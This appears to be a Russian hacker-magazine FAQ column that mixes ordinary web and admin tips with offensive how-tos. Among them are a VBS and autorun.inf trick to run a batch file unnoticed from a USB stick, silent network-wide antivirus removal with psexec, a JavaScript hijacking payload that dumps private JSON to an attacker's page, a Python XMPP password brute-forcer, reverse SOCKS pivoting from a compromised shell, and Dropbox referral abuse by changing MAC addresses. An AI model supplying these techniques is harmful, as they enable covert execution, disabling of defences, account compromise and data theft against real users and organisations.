RSS

Компьютерная терминология    1_9  A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  .....  A  Б  В  Г  Д  Ж  З  И  К  Л  М  Н  О  П  Р  С  Т  У  Ф  Х  Ц  Ч

HUCK faq

WEBСистемаOther

Q: Какой инструмент можете посоветовать, чтобы найти на сайте медленные страницы, чтобы впоследствии оптимизировать их?
A: Наверное, каждый веб-мастер знает о таком инструменте для аналитики, как Google Analytics. С недавнего времени сервис обзавелся новым интерфейсом (он постепенно становится доступным всем пользователям) и некоторыми новыми фичами. Одна из них занимается как раз тем, что измеряет время загрузки отдельных страниц сайта. По умолчанию, правда, такая возможность отключена. Чтобы включить бенмарк необходимо добавить одну строчку в скрипт GA (тот JS-код, который вставляется в каждую страницу веб-проекта и необходим для сбора и отправки данных Google’у), а именно обращения к функции _trackPageLoadTime(), который должен происходить после вызова _trackPageview():
// Вариант для асинхронного кода GA:
_gaq.push(['_trackPageview']);
_gaq.push(['_trackPageLoadTime']);
// Вариант для стандартного кода GA:
pageTracker._trackPageview();
pageTracker._trackPageLoadTime();

После этого данные о времени загрузки страницы ты сможешь найти в отчете «Содержание - Скорость загрузки сайта». В отчет будут включены все страницы ресурса, отсортированные в списке по времени загрузки в секундах.
Q: Каким образом можно сделать полный бэкап профайла отдельного пользователя Windows и всех пользователей сразу? Чтобы без проблем перенести профиль в другую систему?
A: Можно было бы объяснить, как это сделать вручную, но лучше всего с задачей справятся специализированные утилиты вроде Backup Utility и DataGrab, которые полностью автоматизируют процесс.
Вторая из утилит создает резервную копию выбранного профиля (при желании можно сделать бэкап всех профайлов сразу), а также любых других выбранных папок и оформляет резервную копию в виде исполняемого файла. Соответственно, для переноса профилей в другую систему, в том числе недавно установленную, необходимо лишь запустить этот exe-шник.
Q: Некоторые компании для регистрации по старинке требуют отправить факсом какие-то документы. К счастью, смог сделать это из офиса, правда, пришлось отключать на телефоне выход на международную связь. Как бы обойтись без этого геморроя?
A: Знакомая проблема. Ведь даже для получения аккаунта разработчика Apple, придется воспользоваться факсом (WTF?!). Проще всего «отправить бумажку» через специальный сервис вроде www.myfax.com/free. Совершенно бесплатно.
Q: Посоветуйте SOCKS5-прокси, который можно установить на удаленном Linuxшелле.
A: Ты, возможно, удивишься, но в большинстве случаев поднять на Linux-хосте сокс можно всего одной командой:
ssh -N -D 0.0.0.0:1080 localhost
Таким образом, мы включаем динамическую переадресацию портов (флаг «-D») с 1080 порта и взаимодействие с клиентами по протоколам SOCKS4 и SOCKS5 (то есть точно так же, как и любой другой SOCKS5-прокси). Опция «-N» указывает, что процессу необходимо работать в idle-режиме без запуска каких-либо команд на localhost’е. Можно также запустить ssh в фоновом режиме, добавив при запуске ключ «-f». Важно, что для выполнения команды тебе не нужны рутовые привилегии. Но они понадобятся, если ты захочешь сделать контроль доступа при помощи iptables:
iptables -A INPUT --src 1.2.3.4 -p tcp --dport 1080 -j ACCEPT
iptables -A INPUT -p tcp --dport 1080 -j Reject

С помощью этих команд мы разрешаем подключения с IP-шника 1.2.3.4 и запрещаем любые другие (для 1080 порта). Но если очень хочется отсечь левые подключения, которые обязательно будут, а рутовых прав нет, то можно воспользоваться довольной простой proxy-оберткой, написанной на Perl’е, — TCP proxy . В сценарии явным образом прописывается список допустимых для подключения IP-адресов (переменная @allowed_ips). TCP proxy будет стартовать на указанном порту и переадресовывать на наш SOCKS-сервер только те запросы, которые разрешены. Сам демон SSH при этом нужно запустить немного по-другому:
ssh -N -D 55555 localhost
При такой конфигурации никто не сможет подключиться к SOCKS извне, кроме приложений, запущенных на localhost’е.
Q: Подскажите, как правильно (без лишних костылей и софта) ограничить список программ, которые может запускать Windows пользователь?
A: Задача «на ура» решается с помощью стандартного механизма Windows, который называется «Политика ограниченного использования программ» (SRP). Если быть точным, то через редактор групповой политики (GPO). Наша задача — запретить пользователю запуск любых приложений, кроме нескольких разрешенных (ты их определяешь сам) и тех, которые необходимы ему для выполнения входа в систему. Так, чтобы юзер мог просто залогиниться в систему, ему обязательно нужно предоставить доступ к следующим системным приложениям:
C:\Windows\explorer.exe
C:\Windows\System32\csrss.exe
C:\Windows\System32\dwm.exe
C:\Windows\System32\rdclip.exe
C:\Windows\System32\taskhost.exe
C:\Windows\System32\TSTheme.exe
C:\Windows\System32\userinit.exe

Это обязательный список — без этих приложений пользователь даже не сможет зайти в систему. Теперь пошагово пройдем по процессу создания нужной политики:
  1. Запускаем консоль управления («Пуск - Выполнить» - mmc).
  2. Выбираем в меню «Файл - Добавить или удалить оснастку».
  3. Кликаем на «Редактор объектов групповой политики» (GPO).
  4. Жмем «Добавить».
  5. Кликаем «Обзор», указываем пользователя, который будет добавлен в GPO.
  6. Кликаем «Готово» и потом «ОК». Теперь в консоли управления ты видишь дерево с корневым элементом «Политика <имя пользователя».
  7. Переходим в «Конфигурация пользователя st Конфигурация Windows do Параметры безопасности» и кликаем правой кнопкой по «Политики ограниченного использования программ» и выбираем «Создать политику ограниченного использования программ».
  8. В дереве появятся два новых элемента. Кликаем на «Уровни безопасности».
  9. Дважды кликаем по элементу «Запрещено» и устанавливаем этот уровень безопасности по умолчанию. С этого момента пользователь не сможет запускать никакие приложения, кроме разрешенных.
  10. Переходим в раздел «Дополнительные правила». Удаляем отсюда мусор, который создала система (элементы, начинающиеся с «%HKEY_LOCAL_MACHINE\...»).
  11. Остается добавить правила, разрешающие запуск необходимых для пользователя приложений и тех элементов, которые я перечислил выше, и необходимые для нормальной работы юзера в системе.

Делается это отдельно для каждого бинарника через контекстное меню «Создать правило для хэша», где надо выбрать нужный исполняемый файл и поменять уровень безопасности для него на «Неограниченный».
Q: Какую базу данных посоветуете для простых проектов?
A: Если нужно что-то очень простое, то мой совет — SQLite, которая при всей простоте использования является частью многих серьезных проектов.
Многие программы поддерживают SQLite в качестве формата хранения данных (особенно в Mac OS и iPhone OS, Android).
Базой данных SQLite удобно управлять через консольную утилиту sqlite3 или GUI-приложение вроде SQLite Browser, SQLiteSpy и SQLite Manager. Чтобы глубже вникнуть в процессы, происходящие внутри SQLite, рекомендую посмотреть видеолекции от ее создателя Ричарда Хиппа.
Q: Какой самый простой способ захостить файлы с удаленной машины?
A: Недавно открыл для себя один замечательный хак, представляющий собой всего одну команду:
$ python -m SimpleHTTPServer
Эта команда поднимает на 8000 порту (по умолчанию) полноценный веб-сервер с контентом текущей директории (т.е. той, откуда она была выполнена). Демон стартует на всех интерфейсах одновременно (адрес 0.0.0.0). Если в папке будет index.htm, то он соответствующим образом будет обработан при обращении. Если же его не окажется, то ты увидишь листинг текущей директории.
Очень удобно. Все это хозяйство работает потому, что в стандартной поставке Python есть модуль SimpleHTTPServer. А поскольку Python сейчас есть в поставке большинства Linux-дистрибутивов, то хак с большой вероятностью заработает практически везде.
Ничего не мешает провернуть то же самое и под виндой, если в ней установлен пайтон.
Q: Как незаметно удалить антивирус с удаленной машины?
A: Хочу рассказать об одном довольно забавном способе, в который я долго не мог поверить, когда мне его показали. Его мне продемонстрировал один знакомый администратор, которому необходимо было сразу со всех машин в локальной сети удалить корпоративную версию Symantec Antivirus.
Поскольку речь шла о локалке крупного инвестиционного банка, то об остановке работы пользователей не могло идти и речи (а трудятся парни и днем, и ночью). Важно было удалить антивирус (чтобы установить более новый продукт от той же компании), но так, чтобы никто из пользователей даже не заметил осуществляемых действий.
Причем обязательно было обойтись без перезагрузки. Как сделать это на 300 компьютерах одновременно? Недолго думая, приятель посмотрел, как антивирус предлагает удалить его вручную. Для этого в ветке реестра HKEY_LOCAL_MACHINE\ SOFTWARE\MICROSOFT\WINDOWS\CURRENT VERSION\UNINSTALL он нашел запись, которая касалась Symantec Antivirus. Его идентификатор был {BA4B71D1-898E4306-AE87-8BA7A596F0ED}. В параметре UninstallString явно указывалось, что деинсталляция осуществляется через стандартную службу MsiExec.exe. Уже просто скопировав значение этого параметра в командную строку, можно было запустить процесс удаления программы с компьютера.
Но нам-то нужно «тихое» удаление. Оказалось, что если добавить несколько ключей MsiExec.exe, то провести операцию можно вообще без всякого шума:
MsiExec.exe /norestart /q/x{BA4B71D1898E-4306-AE87-8BA7A596F0ED}
REMOVE=ALL

А имея права администратора домена, та же самая команда легко отдается на выполнение всем компьютерам в локальной сети:
psexec \\computer_name MsiExec.exe /norestart /q/x{BA4B71D1-898E-4306AE87-8BA7A596F0ED} REMOVE=ALL
Зная, сколько сил антивирусные вендоры тратят на различные защитные механизмы, сложно поверить, что все может быть выполнено настолько просто.
Q: Как прокачать свой аккаунт на Dropbox, используя реферальную систему? Одних только левых email’ов не хватает: программа каким-то образом определяет уникальность системы.
A: Если говорить начистоту, то мой тебе совет. Если тебе действительно нужны дополнительные гигабайты для Dropbox-ящика, то не обломайся: купи премиальный аккаунт. За счет этого сервис может позволить миллионам пользователей пользоваться его услугами совершенно бесплатно. Но если по сути вопроса, то уникальность пользователя Dropbox определяется по MAC-адресу. Так что для каждого нового реферала, который будет прибавлять 250 Мб к объему контейнера Dropbox, нужно:
  1. Зарегистрироваться с уникальным email’ом.
  2. Войти в систему, используя такую регистрацию.

Если под Linux’ом Mac-адрес для сетевого адаптера меняется через ifconfig, то под виндой тебе понадобится специальная утилита Technitium MAC Address Changer v5 Release 3. К слову, энтузиасты уже успели написать скрипт, который автоматизирует процесс прокачки профиля Dropbox.
Q: В JavaScript есть некоторые данные, на их основе необходимо сгенерировать новый кусок HTML-страницы (по шаблону) и вставить в DOM. Как это лучше всего реализовать?
A: Главный вопрос: как хранить шаблон и как наиболее удачно вставить в этот шаблон данные? Решение этой задачки, честно скажу, я открыл для себя из блога Степана Резника. А он, в свою очередь, позаимствовал его из лекций Дугласа Крокфорда. Идея в том, чтобы добавить в прототипы объекта String метод supplant, который в строке ищет выражения, заключенные в фигурные скобки {}. Каждое найденное выражение используется как ключ к переданному объекту, и, если по этому ключу лежит строковое или числовое значение, то выражение в фигурных скобках заменяется этим значением.
String.prototype.supplant = function(o)
{
    return this.replace(/{([^{}]*)}/g, function(a, b) {
        var r = o[b];
        return typeof r === 'string' ||
        typeof r === 'number' ? r : a;
    }
    );
};

Как это работает. Для примера берем следующие данные:
var data = { url: '/test/', thumb_src: 'test.gif', thumb_width: 60, thumb_height: 30, caption: 'Трам-парам!' };
И используя функцию supplant, вставляем их в заранее подготовленный шаблон:
var template = '<div class="preview"> <p class="image"><a href="{url}"><img src="{thumb_src}" width="{thumb_width}" height="{thumb_height}"/></a></p><p class="caption">{caption}</p></div>';
var result = template.supplant(data);

Это определенно наиболее изящное решение, в отличие от варианта, когда приходится вручную создавать элементы (createElement) и аппендить их (appendChild) в DOM.
Q: Можно ли, не залезая в дебри API вызовов, отслеживать изменения в файловой системе и в зависимости от этого выполнять определенные действия?
A: Конечно, можно, и особенно изящно, если в системе есть PowerShell (по умолчанию входит в Windows 7 и Windows Server 2008 R2). Делается это так:
1. Создаем новый объект System.IO.FileSystemWatcher и задаем для него несколько настроек:
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = $searchPath
$watcher.IncludeSubdirectories = $true
$watcher.EnableRaisingEvents = $true

Параметр .Path задает путь, за которым необходимо выполнять мониторинг. Атрибут .IncludeSubdirectories включает обработку всех поддиректорий.
2. Теперь определим несколько событий, которые будут отслеживаться, когда $watcher заметил изменения в файловой системе. Простой обработчик при обнаружении изменения файлов будет выглядеть так:
$changed = Register-ObjectEvent
$watcher "Changed" -Action {
write-host "Changed: $($eventArgs.FullPath)"}

Внутри такого обработчика можно написать произвольный код, выполняющийся при наступлении события. В данном случае мы просто выводим сообщение об изменении файла на экран, указав его путь.
3. Установленные события будут отлавливаться до тех пор, пока не завершится Powershellсессия, но их можно «выгрузить» принудительно:
Unregister-Event $changed.Id
Кстати, даже если ты ничего не знаешь об этой PowerShell, то разобраться с ней не составит большого труда. Рекомендую PowerGUI в качестве среды разработки, чтобы скрипты писать стало еще веселее.
Q: Каким образом можно сделать полный дамп памяти приложения? Только пойми меня правильно: не PE-дамп, а именно дамп всего адресного пространства приложения? Есть несколько процессов, в которых крайне интересно покопаться :).
A: Подходящих утилит немного. Одна из них — Process Memory Dumper, которая в кругу компьютерных криминалистов чаще называется PMD. Это GUI-приложение, в котором ты можешь выбрать нужный процесс и получить для него DumpedProcess.dmp, в котором будет помещен дамп его адресного пространства.
Q: Каким образом можно дешево поднять SIP-GSM-шлюз?
A: Хороший подарок в решении этой проблемы сделали нам сотовые операторы, которые практически бесплатно раздают 3G-модемы по разным акциям. Несмотря на цветастые логотипы, большинство из них родилось в Китае на фабриках компании ZTE или Huawei. Проверенным вариантом, который подойдет для решения поставленной задачи, является Huawei e1550, умеющий передавать голос в GSM. Тут надо сказать, что 3G-модемы продаются залоченными на конкретного оператора, а возможности для голосового общения у них урезаны на программном уровне. И то и другое без труда обходится с помощью многочисленных инструкций, которые давно разлетелись по всему рунету. На форумах есть и нужные прошивки — короче говоря, маленькое недоразумение решается быстро и недорого. Таким образом, с помощью устройства, которое стоит две копейки, можно звонить и принимать входящие вызовы. Хорошо, но как это не использовать для создания SIP-GSM-шлюза? На компьютер с подключенным модемом устанавливается SIP-клиент, который дергает голос в обе стороны с этого модема и направляет на SIP-сервер (asterisk, oktell, sipnet и т.д.).
В результате получается GSM-SIP-шлюз. Особого внимания здесь заслуживает программа Oktell SIP-GSM Gateway, которую специально разработали для создания шлюза с использованием 3G-модемов. На текущий момент поддерживает следующие девайсы: Huawei E1550, Huawei E160g, ZTE MF180. Технология, на самом деле, не новая: китайцы давно производят шлюзы VoIP-GSM в железном корпусе. Но оцени разницу в цене: стоимость такого девайса на одну симку начинается от $300 (модем, напомню, продают за 700-800 рублей, а то и вовсе дарят). Возможно, в ближайших номерах мы сделаем об этом подробную статью.
Q: В Adobe Flash есть опция для преобразования SWF-файлов в iOS-приложения. Кажется, со стороны Apple некоторое время даже был запрет на использование подобных технологий, позволяющих создавать программы для iPhone/ iPad сторонними средствами. Скажи, имеет ли подобная функция право на существование или это просто пунктик в списке опций для красного словца?
A: Для очень простецких игр и несложных приложений, где нет физики, кучи спрайтов и прочих наворотов, такая возможность может быть и сгодится. Но для серьезных разработок она, честно скажу, слишком тормозная. Так что, увы, если есть желание разрабатывать игры для iPhone/ iPad, то без изучения Objective-C - никуда.
Q: Можно ли каким-нибудь образом незаметно запустить bat-файл с флешки?
A: Теперь, с учетом того, что компания Microsoft фактически отрубила возможность автозапуска с флешки, сделать это будет нелегко. Но на старых непропатченных системах сработает такой трюк:
1. Закидываем на флешку myfile.vbs со следующим содержанием:
Set WshShell = CreateObject(
"WScript.Shell")
WshShell.Run "cmd.exe /c
[ИМЯ_BAT_ФАЙЛА]", 0, false
2. В autorun.inf добавляем следующее:
[AutoRun]
UseAutoPlay=1
open=myfi le.vbs

Обрати внимание, что хотя для пользователя запуск будет незаметным, некоторые антивирусы забьют тревогу и предупредят юзера о подозрительных файлах на USB-носителе.
Q: Сколько стоит SSL-сертификат для сайта? Есть ли какой-то вариант получить его бесплатно?
A: Полноценный SSL-сертификат, как ты правильно понимаешь, за просто так никто не выдает. Правда, есть возможность бесплатно обзавестись триальным сертификатом на ограниченный срок (на 30 или 90 дней). Как говорят владельцы сервиса, «такой сертификат предназначен для тестирования технической инфраструктуры до покупки коммерческого SSL-сертификата». Что удобно, выпускается он в течение нескольких минут, а для его получения достаточно заполнить простую форму:
Your Name:
Example: John Smith
Your E-mail:
Example: test@example.com
Phone:
Example: 8(495)2295670
Select the server software used to
generate the CSR:
Example: Apache-SSL
CSR:
Example:
-----BEGIN CERTIFICATE REQUEST----MIIDUDCCArkCAQAwdTEWMBQGA1UEAxMNdGVzd
C50ZXN0LmNvbTESMBAGA1UECxMJ
TWFya2V0aW5nMREwDwYDVQQKEwhUZXN0IE9yZ
zESMBAGA1UEBxMJVGVzdCBDaXR5
.......
Rq+blLr5X5iQdzyF1pLqP1Mck5Ve1eCz0R9/
OekGSRno7ow4TVyxAF6J6ozDaw7e
GisfZw40VLT0/6IGvK2jX0i+t58RFQ8WYTOcT
RlPnkG8B/uV
-----END CERTIFICATE REQUEST----

Вопросы может вызвать только последнее поле — CSR (Certificate Signing Request).
Сюда нужно вставить информацию о твоем сертификате, включая публичный ключ (Public Key). Сгенерировать его можно через openssl. А чтобы подключить сертификат потребуется настройка mod_ssl для Apache (считаем, что в качестве вебсервера ты используешь именно его).
Q: Что такое JavaScript hijacking?
A:  Атака известна достаточно давно и в текущих версиях большинства веб-браузеров уже неактуальна. Тем не менее, остаются старые веб-браузеры и вариации атаки с форматом JSONP. В двух словах, атака основана на возможности в JavaScript переопределить «сеттеры» для свойств объектов.
Допустим, уязвимое веб-приложение передает в JSON-формате какие-либо критичные данные вот так:
[{"foo":"private data"}]
Злоумышленник может сделать специальную страницу с JS-кодом, в котором переопределяет «сеттер» для свойств объекта. Таким образом, при инициализации свойства foo сработает «триггер», в котором значение этого поля и сдампится:
Object.prototype.__defi neSetter__
("foo", function(x) {
var s = "";
for (f in this) {
s += f + ": ‘" + this[f] + "’, ";
}
s += "foo: " + x;
// пересылаем строку s обычным
// добавлением картинки на сайт
// злоумышленника
});
</script>

<script src="http://target.com/
private/data.js"></script>

С JSONP, с учетом его предназначения, еще проще: достаточно просто передать в качестве параметра подключаемого скрипта название определенной функции. Полученный ответ будет в таком виде:
evilFunction({"paper": "A4", "count": 5})
То есть будет вызвана функция, определенная злоумышленником, в которую будет передана в качестве параметров информация с уязвимой страницы.
Q: Какой фреймворк выбрать?
A: Мой совет - ExtJS, который развивается уже очень давно и позволяет разрабатывать веб-страницы, которые будут практически неотличимы от обычного приложения. Элементы интерфейса, перетаскивание, мгновенное обновление содержания, окна и таскбары, мощные таблицы — все это уже реализовано в одном, почти мегабайтном файлике кода. ExtJS предоставляет компонентную модель построения, гибкую систему стилизации и расширения языка JavaScript для более удобной разработки. За это, конечно, приходится платить снижением производительности, но для многих это мелочь.
Q: Как грамотно отсечь пользователей со старыми браузерами, выдав им предупреждение о необходимости обновиться?
A: Теперь даже гиганты вроде Google начинают отказываться от поддержи уж слишком устаревших браузеров, закапывая в могилу 6-го ослика. Для jQuery, всенародно любимой JS-библиотеки, доступен плагин, чтобы одной строкой отсекать несознательных пользователей. Отличный вариант.
Q: Как ускорить MySQL?
A: Последние версии мускула достаточно быстрые, но с осознанием того, что noSQL не потеснить, ребята придумывают еще более радикальные методы увеличения производительности. Для особых случаев есть HandlerSocket Plugin, который может работать с таблицами гораздо эффективнее, используя легковесный сетевой слой и простой протокол вообще без всякого SQL. Такие решения позволяют серверу упереться в производительность сетевой карты или дисков, обслуживая, к примеру, 750 тысяч запросов к мускульной таблице в секунду!
Q: Все больше и больше вирусов заражают MBR, хочу научиться отслеживать подобные ситуации. Какие утилиты можно использовать для анализа MBR?
A: Одним из самых полезных инструментов, которые я видел для исследования MBR, является набор Perl-скриптов Boot Record Parsers, в который помимо прочего входят:Чтобы лучше вникнуть в тему, рекомендую тебе прочитать статью «An Examination of the Standard MBR».
Q: Подскажи способ максимально быстро исследовать жесткие диски на наличие некоторого контента. Для примера возьмем email-адреса.
A: В кругу компьютерных криминалистов все чаще называют программу bulk_extractor. Это написанная на C++ утилита, которая сканирует образ диска, файл, или директорию с файлами и баснословно быстро извлекает разного рода информацию. Скорость достигается за счет того, что bulk_extractor не парсит структуры файловой системы, а работает с жестким диском напрямую, при этом может работать с разными участками образа параллельно.
При этом программа может сканировать как обычный HDD, так и SSD, оптические носители, карты памяти, дампы сниффера и т.д. Существующие модули позволяют извлекать, к примеру, номера кредитных карт (что очень ценно для тех, кто занимается digital forensics), информацию EXIF из фотографий и видео, IP/MAC/Email-адреса, URL и т.д. Результаты обычно имеют довольно громоздкий вид, поэтому для последующей обработки результатов разработчики предлагают ряд вспомогательных скриптов на Python’е.
Q: Какой сейчас самый быстрый способ взломать MD5 и другие хэши?
A: Если не брать в расчет радужные таблицы, а также распределенные системы, то одним из лучших вариантов является старый добрый John the Ripper набором патчей, которые используют для ускорения возможности видеокарты.
Для разного вида хешей используются различные технологии ускорения за счет GPU:Раз уж мы вспомнили про John the Ripper, не могу не упомянуть, что с недавнего времени утилита научилась брутить не только хэши, но и пароли к архивам ZIP и RAR, PDF документам, а также SSH-ключи.
Q: Какие программы используют для реверсинга Android-приложений? Отсутствие жестких политик внутри магазина приложений Android market иногда настораживает — хочется самому убедиться, что установленная программа не будет отправлять на платный номер.
A: Начну с небольшого пояснения. Устройство на базе Android может выполнять приложения, которые были сконвертированы в специальный формат - Dalvik Executable (.dex). Для таких бинарников существует немало декомпиляторов. Талантливый китайский студент еще в прошлом году опубликовал утилиту dex2jar, преобразующую .dex-бинарники в читаемый Java-код, который удобно просматривать через JD-GUI. Еще одним известным декомпилятором является smali. Среди прочих подобных продуктов выделяется Kivlad, который нативно работает с Dalvik-байкодом и преобразует его напрямую в Java-байткод, что дает результат гораздо лучшего качества. Декомпилятор написан на Ruby и работает под Windows, Linux и OS X.
Q: Какие есть инструменты, чтобы посмотреть, как на самом низком уровне взаимодействуют драйвер и USBустройство?
A: Возможность логировать USB-трафик позволяет, к примеру, VMware. Для этого в конфиг виртуальной машины (vmx-файл) нужно добавить следующие строки:
usb.analyzer.enable = TRUE
monitor = "debug"
usb.analyzer.maxLine = 8192
mouse.vusb.enable = FALSE

После этого весь трафик в виде «как есть» будет логироваться в файл vmware.log. В таком дампе без вспомогательных инструментов сам черт ногу сломит, поэтому лучше сразу взять в напарники еще и прогу vsusbanalyser. Помимо этого можно преобразовать получившийся лог в более привычный PCAP-формат, воспользовавшись написанным на Ruby скриптом vmwusb2pcap.rb.
Q: Когда звонишь в call-центр какойнибудь компании, то сразу попадаешь на автоматизированную систему. «Нажмите 0 для связи с оператором», «Нажмите 1 для того, чтобы узнать баланс» и т.д. Нужно реализовать что-то подобное, как?
A: Речь идет об IVR (англ. Interactive Voice Response), системе предварительно записанных голосовых сообщений, выполняющей функцию маршрутизации звонков внутри call-центра. Пользователь общается с такой системой посредством тонального набора. Реализовать IVR можно с помощью уже наверняка знакомого тебе проекта Asterix. Всю логику простой IVR-системы можно реализовать через конфиг extensions.conf, но для сложных задач лучше использовать возможности AGI.
Это скрипты на Perl или Python, с помощью которых можно создать довольно сложные сценарии работы голосового робота. Реализация через Asterix очень дешева, но при этом весьма масштабируема. На самом обычном компьютере могут одновременно обслуживаться сотни звонков без какихлибо затруднений.
Замечу, что таким образом можно создавать и автоматических роботов, которые будут обзванивать абонентов, к примеру, с напоминанием об оплате счета.
Q: Мне очень нравится возможность двухфакторной авторизации у Google, когда для входа требуется ввести еще и одноразовый пароль, который по особому алгоритму генерируется на телефоне. Есть ли готовое подобное решение, которое можно подключить к своему ресурсу для усиления защиты пользователя?
A: Есть несколько коммерческих сервисов, которые можно красиво интегрировать в свои продукты: Duo Security и Symantec’s VIP Authentication Service.
При должном желании можно сэкономить и реализовать все самому, используя разработку Mobile-OTP. Клиентская часть, с помощью которой пользователю будет выдаваться одноразовый пароль, написана на Java и может быть запущена практически на любом современном устройстве, а на сервере может быть использован RADIUS-сервер (например, XTRadius), с помощью которого будет выполняться авторизация. Ты можешь справедливо заметить, что на Android или iPhone запустить Java-приложение не выйдет. Так и есть, но энтузиасты уже написали приложения для генерации токенов и для этих платформ.
Q: Нужен шелл-код, который бы загружал из Сети .exe-файл и выполнял его в системе Windows 7. Удивительное дело, но нигде (в том числе на milw0rm. com) не могу найти рабочий вариант. А также шелл-код, сгенерированный Metasploit’ом, который опять отказывается работать под Windows 7. Где взять действительно работающий вариант?
A: Для экспериментов можно попробовать шелл-код, который опубликован в блоге вьетнамской security-компании Bkis. К сожалению, авторы не предоставляли исходники, но сам шелл-код на 100% работает. Ссылка на исполняемый файл, который необходимо загрузить, размещается в конце шелл-кода. В основе разработки лежат другие наработки, а также 100-байтовый шелл-код от SkyLined, запускающий calc.exe на всех 32-битных версиях Windows.
Q: Пишу инструкцию по безопасности для прогрессивных студентов экономической специальности. В пункте «Безопасность браузера» хочу упомянуть какой-нибудь универсальный инструмент для проверки безопасности установленных плагинов (насколько я понимаю, это сейчас одна из основных угроз). Что посоветуете?
A: Честно говоря, тут есть нюансы. Например, в Google Chrome по умолчанию встроен механизм для выявления небезопасных плагинов, и необходимости в дополнительных инструментах нет. Всякий раз при запуске устаревшего аддона пользователю выдается предупреждение. Впрочем, для установки доступно независимое от Google’а решение в виде плагина Secbrowsing , который выполняет аналогичные проверки. В случае с Mozilla Firefox поиск небезопасных аддонов осуществляется с помощью специальной страницы Plugin Check, проверка при этом производится без необходимости устанавливать что-либо в систему. Забавно, что этот сервис работает и для других браузеров.Еще одним похожим инструментом является Qualys BrowserCheck . Для каждого из браузеров сервис предложит установить соответствующий плагин. Не могу не упомянуть и небезызвестную утилиту Secunia PSI. Это, пожалуй, наиболее универсальный вариант, с помощью которого каждый может проверить на актуальность не только браузер и его расширения, но и другой установленный в системе софт.
Q: Работая в консоли винды, очень не хватает команды grep. Как быть?
A: Есть несколько решений.
  1. На самом деле, реализаций grep для Windows сегодня предостаточно. Это GnuWin32, Windows grep, GNU Grep For Windows, два варианта Grep For Windows и многие другие. Выбирай.
  2. В самой винде (начиная c XP) появилась пара команд, которые могут исправить положение — это find и более мощная findstr, которая поддерживает регулярные выражения.
Неудобство вызывает то, что поисковый запрос необходимо набирать в кавычках. Но от этого можно избавиться, создав в системе алиас. Необходимый для этого скрипт создается одной единственной командой:
echo fi ndstr %1 %2 %3 %4 %5 >
%systemroot%\grep.cmd

Этот сценарий создается в %systemroot%, поэтому выполнять его нужно из командной строки, запущенной с правами администратора. По сути, после этого можно пользоваться аналогом grep’а, не задумываясь:
C:\Windows\system32>netstat -an | grep LISTEN
C:\Windows\system32>fi ndstr LISTEN
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
[...]

3. В PowerShell’е есть свой мощный аналог grep’а — это команда select-string. Для примера найдем с ее помощью все файлы с текстом «xakep» внутри текущей директории:
select-string .\*.* -pattern "xakep"
Важно, что select-string поддерживает регулярные выражения. Так что если есть задача, скажем, отыскать на диске C:\ все txt-файлы с нужным тебе текстом, то она легко решается так:
get-childitem c:\ -include *.txt -rec \
| select-string -pattern \
"\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,6}"

Q: А существует ли какая-нибудь встраиваемая СУБД для веб-страниц? Что-то вроде SQLite, но для веб-приложений?
A: Конечно, есть немало простеньких баз данных, реализованных на JavaScript. В одном из проектов мне довелось использовать одну из них, а именно Taffy DB. По сути это JS-библиотека, которая работает как слой данных внутри любого веб-приложения.
Можно воспринимать ее как базу данных SQL, но работающую в браузере. Из особенностей:
Q: Пишу довольно сложное вебприложение, где для большего удобства необходимо реализовать горячие клавиши. Как это лучше всего сделать?
A: Я рекомендую библиотеку JavaScript Shortcuts Library от Степана Резника, эксразработчика Яндекса. Как говорит сам автор, библиотека проста и приятна в использовании.
Убедиться в этом поможет пример.
1. Добавляем горячую клавишу:
$.Shortcuts.add({
type: 'down',
mask: 'Ctrl+A',
handler: function() {
debug('Ctrl+A');
}
});

2. Добавляем еще одну:
$.Shortcuts.add({
type: 'up',
mask: 'Shift+B',
handler: function() {
debug('Shift+B');
}
});

3. Начинаем реагировать на шорткаты:
$.Shortcuts.start();
Вот и все! Строка, задающая сочетание клавиш, должна состоять из имен клавиш, разделенных плюсами. Может быть не более одной клавиши, отличной от Ctrl, Shift или Alt.
Поддерживаемые клавиши:
Всего поддерживаются три типа событий (параметр type), по которым могут срабатывать обработчики:
При желании можно создать несколько списков горячих клавиш и легко между ними переключаться.
Q: В свое время было немало доработок для Windows, позволяющих придать системе вид Mac OS X, включая Dockпанель, оформление и поведение окон и так далее. Однако в «семерке» все из того, что я пробовал ранее, работает криво. Как быть?
A: Советую Lion Skin Pack 3.0 For Seven. Это самый быстроразвивающийся набор доработок для винды, к тому же он, как видно из названия, реализует внешний вид только что вышедшей версии Mac OS X Lion.
Q: У меня есть шелл для сервера, который, помимо прочего, находится во внутренней сети предприятия. Я установил на него SOCKS-сервер, чтобы использовать его для удобного подключения к другим хостам внутри локалки (к примеру, веб-админкам через браузер со своей машины). Однако файрвол блокирует все подключения к SOCKS. Как быть?
A: Удобнее всего воспользоваться SOCKSсервером с обратным (reverse) подключением. Проверенный вариант — sSocks. Выглядит это следующим образом. На локальном компьютере запускается клиентская часть rcsocks, которая слушает два порта. На первый (скажем, 1080) будет осуществлять обратное подключение (backconnect) сер верная часть разработки, на второй (пусть это будет 1088) будем обращаться мы сами.
Далее на удаленном шелле мы запускаем как раз серверную часть rssocks, указав для подключения наш IP-адрес и порт (1080). Готово! После того, как серверная часть осуществит reverse-подключение, мы сможем прописать в любой программе локальный SOCKS-сервер (он у нас «слушает» порт 1088) и без проблем подключаться к хостам внутри локальной сети удаленного компьютера (веб-админкам, SSH-серверам и так далее).
Q: Подскажи брутфорсер для Jabber’а (XMPP), который поддерживал бы все нюансы протокола.
A: В последней версии всем известной THC-Hydra очень сильно прокачан модуль для подбора пароля к XMPP-аккаунтам. Впрочем, написать утилиту для подбора пароля для многих протоколов, в том числе XMPP, можно и самому. Благодаря готовому модулю XMPP процедура перебора пароля на том же Python может быть предельно проста:
JID = name@server.org
for password in wordlist:
JID = xmpp.protocol.JID(JID)
client = xmpp.Client(
JID.getDomain(), debug=[])
conn = client.connect()
auth = client.auth(
JID.getNode(), password,
resource=JID.getResource())
if auth == 'sasl':
print password
sys.exit(1)
client.disconnect()

Каждая строчка кода говорит сама за себя.
Q: Какие интересные разработки есть в области автоматизированного поиска руткитов?
